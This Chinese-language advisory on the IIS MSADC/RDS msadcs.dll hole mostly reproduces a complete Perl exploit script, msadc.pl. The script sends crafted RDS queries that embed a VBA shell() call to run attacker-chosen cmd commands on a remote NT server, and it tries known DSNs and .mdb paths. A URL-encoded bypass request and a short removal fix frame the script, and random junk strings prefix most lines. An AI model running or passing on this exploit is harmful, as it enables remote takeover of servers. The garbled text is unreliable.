IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
l;Wj] JI}'dU>*U: 涉及程序:
Nc`L;CP Microsoft NT server
"[J^YKoF DI>s-7 描述:
e=
AKD# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
yAt^; oxs#866x 详细:
?
k /` 如果你没有时间读详细内容的话,就删除:
@5FQX c:\Program Files\Common Files\System\Msadc\msadcs.dll
bw7@5=?; 有关的安全问题就没有了。
Ytkv!]" b;n[mk
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
az$FnVNn= ,F|f. 7; 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
p2eGm-Erq 关于利用ODBC远程漏洞的描述,请参看:
}tz7b# [WmM6UEVS http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iMlWM-wz>O U/U);frH 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
icgfB-1|i http://www.microsoft.com/security/bulletins/MS99-025faq.asp l**X^+=$ t_^4`dW` 这里不再论述。
U6K|fYN` \D4:Nt# 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
CTb%(<r (zk"~Ud /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
oU8q o-J1H 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
@]j1:PN-
^c|/*u iTwm3V
P #将下面这段保存为txt文件,然后: "perl -x 文件名"
>6T8^Nt )GpK@R]{ #!perl
d=(mw_-? #
m`XHKRp # MSADC/RDS 'usage' (aka exploit) script
7dWS #
,bi^P>X # by rain.forest.puppy
wMn
i #
Tk}]Gev # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#"!<W0 # beta test and find errors!
TH;hO).u TOt dUO use Socket; use Getopt::Std;
K1KreYlF getopts("e:vd:h:XR", \%args);
N7"W{"3D L0,'mS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
s;e\ pt tw;}jh if (!defined $args{h} && !defined $args{R}) {
1Mzmg[L8 print qq~
1M 6D3d_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
a(nlTMfu -h <host> = host you want to scan (ip or domain)
dd;~K&_Q/i -d <seconds> = delay between calls, default 1 second
4Z*/WsCv -X = dump Index Server path table, if available
0kh6@y3 -v = verbose
M%HU4pTW#o -e = external dictionary file for step 5
I9Xuok!0>= ye&;(30Oq Or a -R will resume a command session
T)/eeZ$ CJY$G}rk ~; exit;}
FrS]|=LJhX Ui~>SN>s $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
tmq OJ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?s01@f# if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Hl"N} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Cdn J&N{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
u9e@a9c if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y2AJ+
| pBHRa?Y5 if (!defined $args{R}){ $ret = &has_msadc;
x5Bk/e' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t Q)qCk07 _6Sp QW print "Please type the NT commandline you want to run (cmd /c assumed):\n"
B\~}3!j . "cmd /c ";
)9g2D`a4 $in=<STDIN>; chomp $in;
|Cv!,]9:r $command="cmd /c " . $in ;
^#pEPVkY Wr
4,YQM if (defined $args{R}) {&load; exit;}
XFl6M~ c }bxs]?OW> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
dO'(2J8 &try_btcustmr;
{: /}NpA$ 5m@V#2^P print "\nStep 2: Trying to make our own DSN...";
?<!| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
oH@78D0A Q &8-\ print "\nStep 3: Trying known DSNs...";
}jXfb@`K &known_dsn;
J.a]K[ci x2xRBkRg= print "\nStep 4: Trying known .mdbs...";
V3Bz
Mw\9r &known_mdb;
[agMfn _BufO7`. if (defined $args{e}){
YK_7ip.a[ print "\nStep 5: Trying dictionary of DSN names...";
sHj/; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3o*YzwRt '1[Ft03 print "Sorry Charley...maybe next time?\n";
=;L|gtH" exit;
4W75T2q# \z$= K ##############################################################################
j 7B!h| )%TmAaj9d sub sendraw { # ripped and modded from whisker
F ,kZU$ sleep($delay); # it's a DoS on the server! At least on mine...
mH(:?_KrS- my ($pstr)=@_;
zLQx%Yg! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}MySaL> die("Socket problems\n");
>*bvw~y, if(connect(S,pack "SnA4x8",2,80,$target)){
".%k6W<n select(S); $|=1;
P \I|, print $pstr; my @in=<S>;
5P bW[ select(STDOUT); close(S);
X$
D6Ey return @in;
HS$r8`S?) } else { die("Can't connect...\n"); }}
3]hWfj1m2 :FF=a3/"6 ##############################################################################
4euO1= gXU8hTd8 sub make_header { # make the HTTP request
u8^lB7!e/ my $msadc=<<EOT
`[A];] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V`5O{Gg User-Agent: ACTIVEDATA
+@UV?"d Host: $ip
42{~Lhxt Content-Length: $clen
gYj'(jB Connection: Keep-Alive
(7Qo hH.G#-JO ADCClientVersion:01.06
x`s>*^ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7<4qQ.deE XW/o<[91 --!ADM!ROX!YOUR!WORLD!
crCJrN= Content-Type: application/x-varg
\8tsDG(1 ' Content-Length: $reqlen
H,J8M{ XppOU EOT
ZCw]m#lS ; $msadc=~s/\n/\r\n/g;
e20-h3h+ return $msadc;}
{
w_e9W bi ]:;&1h3'7 ##############################################################################
}H4RR}g %O<BfIZ sub make_req { # make the RDS request
]9-\~Mwh my ($switch, $p1, $p2)=@_;
bt *k.=p my $req=""; my $t1, $t2, $query, $dsn;
d9ihhqq3} Bvj0^fSm if ($switch==1){ # this is the btcustmr.mdb query
-Za/p@gM $query="Select * from Customers where City=" . make_shell();
=N@t'fOr $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
}]TxlSp!; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I fir ,8 INf&4!&h elsif ($switch==2){ # this is general make table query
=Qq+4F)MD $query="create table AZZ (B int, C varchar(10))";
Xj*Wu_ $dsn="$p1";}
6@f-Glwg Vl]>u+YqE elsif ($switch==3){ # this is general exploit table query
:&Nbw $query="select * from AZZ where C=" . make_shell();
p_ =z# $dsn="$p1";}
6*?F @D2& $>gFf}#C elsif ($switch==4){ # attempt to hork file info from index server
E^PB)D(. $query="select path from scope()";
eyaNs{TV $dsn="Provider=MSIDXS;";}
llDJ@ 8t`?#8D} elsif ($switch==5){ # bad query
0x7'^Z>-oe $query="select";
$kgVa^ $dsn="$p1";}
kza5ab ;<5q]/IHK $t1= make_unicode($query);
R]dg_Da $t2= make_unicode($dsn);
d-m7}2c $req = "\x02\x00\x03\x00";
wr4:Go` $req.= "\x08\x00" . pack ("S1", length($t1));
NI5``BwpO $req.= "\x00\x00" . $t1 ;
n%-0V> $req.= "\x08\x00" . pack ("S1", length($t2));
E]6
6]+;0_ $req.= "\x00\x00" . $t2 ;
0V]s:S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
l%ZhA=TKQ return $req;}
J1kM\8%b\ IID5c"
oR ##############################################################################
wBzC5T%, 67TwPvh sub make_shell { # this makes the shell() statement
>/\'zi]L return "'|shell(\"$command\")|'";}
f::Dx1VcX 'yth'[ ##############################################################################
B *vM0 $(9U @N9E sub make_unicode { # quick little function to convert to unicode
\jA~9 my ($in)=@_; my $out;
+"(jjxJm for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!BI;C(,RL return $out;}
/(T?j!nPE V]N?6\Op ##############################################################################
Qd6F H2Pl *VeRVaBl sub rdo_success { # checks for RDO return success (this is kludge)
5;S.H#YOpO my (@in) = @_; my $base=content_start(@in);
p'fYULYE if($in[$base]=~/multipart\/mixed/){
P4?glh q# return 1 if( $in[$base+10]=~/^\x09\x00/ );}
iLz@5Zj8 return 0;}
*H122njH+T +RXoi2"-q@ ##############################################################################
1}37Q&2 "j-CZ\]U| sub make_dsn { # this makes a DSN for us
Ie^l~Gb my @drives=("c","d","e","f");
~Z+%d9ode print "\nMaking DSN: ";
-hV*EPQ/ foreach $drive (@drives) {
ccnK#fn v print "$drive: ";
{[(h[MW# my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xpI wrJO "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b\ PgVBf9 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
iUwzs&frd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ug`djIL return 0 if $2 eq "404"; # not found/doesn't exist
]d`VT)~vje if($2 eq "200") {
^GX)Z~ foreach $line (@results) {
]{ kPrey return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
H1T.(M/" } return 0;}
\f)#>+X-
9akH ##############################################################################
rbQR,Nf2x 8] ikygt" sub verify_exists {
fQ98(+6 my ($page)=@_;
KU;9}!# my @results=sendraw("GET $page HTTP/1.0\n\n");
lLD12d return $results[0];}
f X)#=c|5 s79r@])= ##############################################################################
T)CP2U `-&K~^-cH sub try_btcustmr {
'n|5ZhXPB my @drives=("c","d","e","f");
FN;^"H my @dirs=("winnt","winnt35","winnt351","win","windows");
QM]YJr3rE oRzi>rr foreach $dir (@dirs) {
B?qjkP print "$dir -> "; # fun status so you can see progress
j.kG};f foreach $drive (@drives) {
d7i]FV print "$drive: "; # ditto
JLi|Td"1% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
s@DLt+ O5 $reqlenlen=length( "$reqlen" );
3,=6@U $clen= 206 + $reqlenlen + $reqlen;
03(4 x'z \L\b $4$d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:yjFQ9^?& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
j5ve2LiFV% else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"nWw;-V}} T#)P`q ##############################################################################
*:NQ&y*uj "vslZ`RU sub odbc_error {
@R
6@]Dm my (@in)=@_; my $base;
^I)N. 5 my $base = content_start(@in);
ZW}_Qs if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{V-v-f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)0R'(# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^KELKv,_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H4JTGt1" return $in[$base+4].$in[$base+5].$in[$base+6];}
+U.I( 83F print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
f`/x"@~H5 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
B+0hzkPY $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
eN~=*Mn(za @gtQQxf" ##############################################################################
AFfAtu _7)n(1h[3b sub verbose {
TuYCR>P[ my ($in)=@_;
Qdp)cT return if !$verbose;
Y5d \d\e/ print STDOUT "\n$in\n";}
&=k,?TJO> rc>6.sM
% ##############################################################################
Rx|;=-8zg _]*>*XfF( sub save {
(%:c#;# my ($p1, $p2, $p3, $p4)=@_;
r(2uu open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Uv~QUL3> print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Jdp3nzM^^@ close OUT;}
7`hP?a= qcGK2Qx ##############################################################################
WSY}d
Vr @oad,=R& sub load {
63~
E#Dt4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
bnLPlf open(IN,"<rds.save") || die("Couldn't open rds.save\n");
uL/m u< @p=<IN>; close(IN);
4I?^ t" $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
E\2%E@0# $target= inet_aton($ip) || die("inet_aton problems");
]P2"[y print "Resuming to $ip ...";
9]wN Bd $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
% -e 82J1 if($p[1]==1) {
`I5wV/%ib $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*U\`CXn; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
LRMx<X8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
qXjxNrK if (rdo_success(@results)){print "Success!\n";}
mcX/GO} else { print "failed\n"; verbose(odbc_error(@results));}}
kd$D 3S^{ elsif ($p[1]==3){
Q( {
r@*g if(run_query("$p[3]")){
g^ i&gNDx print "Success!\n";} else { print "failed\n"; }}
y
{<9]' elsif ($p[1]==4){
1\rz%E if(run_query($drvst . "$p[3]")){
_aMPa+D=P print "Success!\n"; } else { print "failed\n"; }}
a,#j = exit;}
H =^`! '1)$' ##############################################################################
'D"C4;X ye? 'Ze sub create_table {
Jl9k``r* my ($in)=@_;
4u47D$= $reqlen=length( make_req(2,$in,"") ) - 28;
j;iAD:nf $reqlenlen=length( "$reqlen" );
&7wd?)s $clen= 206 + $reqlenlen + $reqlen;
"djw>|,N< my @results=sendraw(make_header() . make_req(2,$in,""));
@)&=% return 1 if rdo_success(@results);
hJ#xB6 my $temp= odbc_error(@results); verbose($temp);
X~,aNRy return 1 if $temp=~/Table 'AZZ' already exists/;
WoRZW% return 0;}
'B0{_RaTb QM#4uI55B ##############################################################################
W+X6@/BO - kwXvYu\ sub known_dsn {
z}ddqZ27G$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
`eCo~(Fy my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
tX %5BTv "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
s^uS1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
>R!jB]5 ,.1Psz^U foreach $dSn (@dsns) {
u'W8;G*~ print ".";
dl@%`E48w next if (!is_access("DSN=$dSn"));
|! E)GahM if(create_table("DSN=$dSn")){
2!J&+r print "$dSn successful\n";
,+{LYF if(run_query("DSN=$dSn")){
| Aw%zw1@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wN-d'-z/rd print "Something's borked. Use verbose next time\n";}}} print "\n";}
e`xdSi>E ;^%4Q" ##############################################################################
Yqi4&~?db &3Szje sub is_access {
nd1+"-,q my ($in)=@_;
#& Rw& $reqlen=length( make_req(5,$in,"") ) - 28;
1\>^m $reqlenlen=length( "$reqlen" );
&wCg\j_c $clen= 206 + $reqlenlen + $reqlen;
K[r^'P5m my @results=sendraw(make_header() . make_req(5,$in,""));
>X4u]>X my $temp= odbc_error(@results);
b@f$nS
B verbose($temp); return 1 if ($temp=~/Microsoft Access/);
'*w00 return 0;}
nV:LqF= 4$S;( ##############################################################################
/%TI??PGu 'JfdV%M sub run_query {
QYjsDL>< my ($in)=@_;
<Fc;_GG $reqlen=length( make_req(3,$in,"") ) - 28;
(ECnMti+ $reqlenlen=length( "$reqlen" );
,N[7/kT| $clen= 206 + $reqlenlen + $reqlen;
_i|t
Y4L my @results=sendraw(make_header() . make_req(3,$in,""));
3ojlB |Z return 1 if rdo_success(@results);
J| bd)0 my $temp= odbc_error(@results); verbose($temp);
1@R
Db)<V return 0;}
a$" Hvrj R:k5QD9/&p ##############################################################################
,>-< (Qi g/+C@_&m sub known_mdb {
4^~(Mh- Mw my @drives=("c","d","e","f","g");
OFv%B/O my @dirs=("winnt","winnt35","winnt351","win","windows");
D \sWZ my $dir, $drive, $mdb;
V(6Z3g my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/1Q(b Yc
`)R # this is sparse, because I don't know of many
jWl)cC my @sysmdbs=( "\\catroot\\icatalog.mdb",
lWc:$qnR-K "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)V6Hl@v "\\system32\\certmdb.mdb",
au=o6WRa "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Hx*;jpy(2 tEK my7'# my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}w<7.I "\\cfusion\\cfapps\\forums\\forums_.mdb",
S.m{eur!,E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,J>5:ht(6 "\\cfusion\\cfapps\\security\\realm_.mdb",
3.W@ } "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3#&7-o "\\cfusion\\database\\cfexamples.mdb",
C/kW0V7 "\\cfusion\\database\\cfsnippets.mdb",
-
'W++tH= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
I}6\Sv= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
t&CJ%XP "\\cfusion\\brighttiger\\database\\cleam.mdb",
PuT@}tw "\\cfusion\\database\\smpolicy.mdb",
lq&wXi "\\cfusion\\database\cypress.mdb",
YWe"zz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
GlT7b/JCG "\\website\\cgi-win\\dbsample.mdb",
Uo>]sNP~ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.5,(_p^ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
4V==7p
x( ); #these are just
6qaQ[XTxf foreach $drive (@drives) {
TAF
PawH foreach $dir (@dirs){
h`k"A7M foreach $mdb (@sysmdbs) {
/[)qEl2]K print ".";
5sJJGv#6 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H_ox_
u} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Nkl_Ho, if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
@$c\dvO print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W"'iIh)z
` } else { print "Something's borked. Use verbose next time\n"; }}}}}
!l 1fIc F\k+[`%{ foreach $drive (@drives) {
\\7ZWp\fN foreach $mdb (@mdbs) {
YmgLzGk` print ".";
?5cI' if(create_table($drv . $drive . $dir . $mdb)){
mvZw print "\n" . $drive . $dir . $mdb . " successful\n";
,7NZu0 if(run_query($drv . $drive . $dir . $mdb)){
.0rh y2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
"zFNg'; } else { print "Something's borked. Use verbose next time\n"; }}}}
$UCAhG$ }
\lC d'$T4yA ##############################################################################
Z->p1xkX :^x?2%
~K. sub hork_idx {
C
#6dC0 print "\nAttempting to dump Index Server tables...\n";
Jesjtcy<* print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
[P7N{l=I $reqlen=length( make_req(4,"","") ) - 28;
&2zq%((r $reqlenlen=length( "$reqlen" );
+0q>fp_K(+ $clen= 206 + $reqlenlen + $reqlen;
e\JojaV my @results=sendraw2(make_header() . make_req(4,"",""));
Pgus42f% if (rdo_success(@results)){
O1*NzY0Y%- my $max=@results; my $c; my %d;
Kt|1&Gk for($c=19; $c<$max; $c++){
/_Z652@ $results[$c]=~s/\x00//g;
r*_ZJ*h[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ux3<l +jv^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wG<(F}VX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:!b'Vk $d{"$1$2"}="";}
`poE6\ foreach $c (keys %d){ print "$c\n"; }
LLXVNO@e+ } else {print "Index server doesn't seem to be installed.\n"; }}
P2'DD 3 !0C^TCuG ##############################################################################
e0@Y#7N62 Ej>g.vp8I sub dsn_dict {
x,S
P'fcP open(IN, "<$args{e}") || die("Can't open external dictionary\n");
k]HEhY while(<IN>){
g[7#w,o $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Gz[fG next if (!is_access("DSN=$dSn"));
G\Ro}5TO if(create_table("DSN=$dSn")){
Bw64 print "$dSn successful\n";
*9c!^$V if(run_query("DSN=$dSn")){
Fa_VKAq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Y> Wu print "Something's borked. Use verbose next time\n";}}}
{=-\|(Bx print "\n"; close(IN);}
uDSxTz{ wqW0v\ ##############################################################################
*b}lF4O? L^4-5`gj sub sendraw2 { # ripped and modded from whisker
| j a- sleep($delay); # it's a DoS on the server! At least on mine...
i?:_:"^x my ($pstr)=@_;
[[Y0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
JPWOPB'H die("Socket problems\n");
~JDnKo if(connect(S,pack "SnA4x8",2,80,$target)){
`zt_7MD print "Connected. Getting data";
Vy,^)] open(OUT,">raw.out"); my @in;
O
Wj@<N select(S); $|=1; print $pstr;
k{$ ao while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(%o2jroQ# close(OUT); select(STDOUT); close(S); return @in;
D"ehWLj } else { die("Can't connect...\n"); }}
Xy &uZ V-r3-b ##############################################################################
<u:WlaS M7+h(\H]2 sub content_start { # this will take in the server headers
&o97u4xi my (@in)=@_; my $c;
,qrQ"r9 for ($c=1;$c<500;$c++) {
GSQ/NYK if($in[$c] =~/^\x0d\x0a/){
u% n*gcY if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
b-*3 2Y% else { return $c+1; }}}
V{&rQ@{W return -1;} # it should never get here actually
`TPOCxM Mo R
&4Z*?S ##############################################################################
J@ktyd(P lP!;3iJ B sub funky {
!\;FNu8_. my (@in)=@_; my $error=odbc_error(@in);
<P;}unq.kw if($error=~/ADO could not find the specified provider/){
;/*6U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-TOI c% exit;}
[kgdv6E if($error=~/A Handler is required/){
(%:>T Q( print "\nServer has custom handler filters (they most likely are patched)\n";
JHJ~X v exit;}
%-AE]-/HI if($error=~/specified Handler has denied Access/){
t"YNgC ^ print "\nServer has custom handler filters (they most likely are patched)\n";
k` (jkbEZ exit;}}
5`RiS]IO] V$rlA'+1v ##############################################################################
JQ-gn^tsy 1G'`2ATF* sub has_msadc {
3 Lsj}p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
1#4PG'H my $base=content_start(@results);
U"4?9.
k return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
!'*csg return 0;}
~|AwN [ r]Ff{la5 ########################
FG!X"<he fQ=MJ7l KyO8A2'U 解决方案:
$VQtwuYt 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
=FT98H2*| 2、移除web 目录: /msadc